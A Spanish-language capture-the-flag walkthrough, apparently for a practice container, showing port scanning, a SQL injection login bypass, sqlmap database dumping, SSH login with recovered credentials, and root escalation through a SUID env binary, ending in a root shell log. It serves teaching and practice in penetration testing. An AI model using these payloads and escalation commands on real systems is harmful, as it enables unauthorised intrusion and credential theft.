

2. **✓Máquina: Inyección (Muy Fácil)**

• 1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

- **Comando:** `nmap -sVC 172.17.0.2`

- **Resultado:** Se encontraron los servicios ssh y http abiertos.

• 2. Inyección SQL en el usuario y contraseña:

- Realizamos una inyección SQL en el campo de usuario y contraseña.

- **_Comando_** `' or 1=1;-- -`

- **Resultado:** Se obtuvo un mensaje de bienvenida para el usuario Dylan con la contraseña: KJSDFG789FGSDF78.

• 3. Búsqueda de bases de datos con SQLMAP:

- Utilizamos la herramienta **SQLMAP** para encontrar bases de datos dentro de los servicios que permiten inyecciones SQL.

- **_Comando_** `sqlmap --url 172.17.0.2/index.php --forms --dbs -batch`

- **Resultado:** Se encontraron 5 bases de datos disponibles: information_schema, mysql, performance_schema, register, sys.

• 4. Extracción de información con SQLMAP:

- Continuamos extrayendo información utilizando **SQLMAP**.

- **Comando:** `-D database -T tabla -C columna -dump`

- **Resultado:** Se encontró el mismo usuario/contraseña que con la inyección SQL manual.

• 5. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.

- **Comando:** `ssh dylan@172.17.0.2`

- **Resultado:** Usando la contraseña encontrada, logramos entrar al usuario Dylan.


• 6. Búsqueda de binarios con permisos de ejecución:

- Para realizar una escalada de privilegios (ya que sudo no funciona), buscamos en qué binarios tiene permiso de ejecución Dylan.

- **Comando:** `find / -perm -4000 2>/dev/null`

- **Resultado:** Se encontraron binarios que Dylan puede ejecutar, siendo el más interesante **env**.

• 7. Explotación de env para obtener privilegios de root:

- Encontramos un exploit en env para realizar la escalada de privilegios en  [GTF0Bins](#).

- **Comando:** `/usr/bin/env /bin/bash -p`

- **Resultado:** Obtenemos una shell donde somos el usuario root de la máquina víctima. ¡Hemos terminado!

```
dylan@d706ab49c88a:~$ ./env /bin/bash -p
-bash: ./env: No such file or directory
dylan@d706ab49c88a:~$ /usr/bin/env /bin/bash -p
bash-5.1# whoami
root
bash-5.1# ls
dev null
bash-5.1# cd ..
bash-5.1# cd ..
bash-5.1# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
bash-5.1# cd root/
bash-5.1# ls
bash-5.1# ls -a
. . . .bash_history .bashrc .local .mysql_history .profile .viminfo
bash-5.1# xDaliK
bash: xDaliK: command not found
bash-5.1#
```